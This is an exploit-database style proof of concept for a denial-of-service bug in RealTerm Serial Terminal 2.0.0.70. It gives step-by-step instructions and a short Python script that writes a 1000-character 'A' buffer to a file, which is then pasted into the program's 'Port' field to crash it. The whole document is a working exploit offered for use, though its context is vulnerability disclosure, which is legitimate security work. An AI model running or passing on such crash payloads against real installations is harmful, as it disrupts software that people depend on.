Realterm Serial Terminal 2.0.0.70 – Denial of Service
# -*- coding: utf-8 -*- # Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of Service (PoC) # Date: 15/02/2019 # Author: Alejandra Sánchez # Vendor Homepage: https://realterm.sourceforge.io/ # Software Link: https://sourceforge.net/projects/realterm/files/ # Version: 2.0.0.70 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "RealTerm.py", it will create a new file "PoC.txt" # 2.- Copy the content of the new file 'PoC.txt' to clipboard # 3.- Open realterm.exe # 4.- Go to 'Port' tab # 5.- Paste clipboard in 'Port' field # 6.- Click on button -> open # 7.- Crashed buffer = "\x41" * 1000 f = open ("PoC.txt", "w") f.write(buffer) f.close() |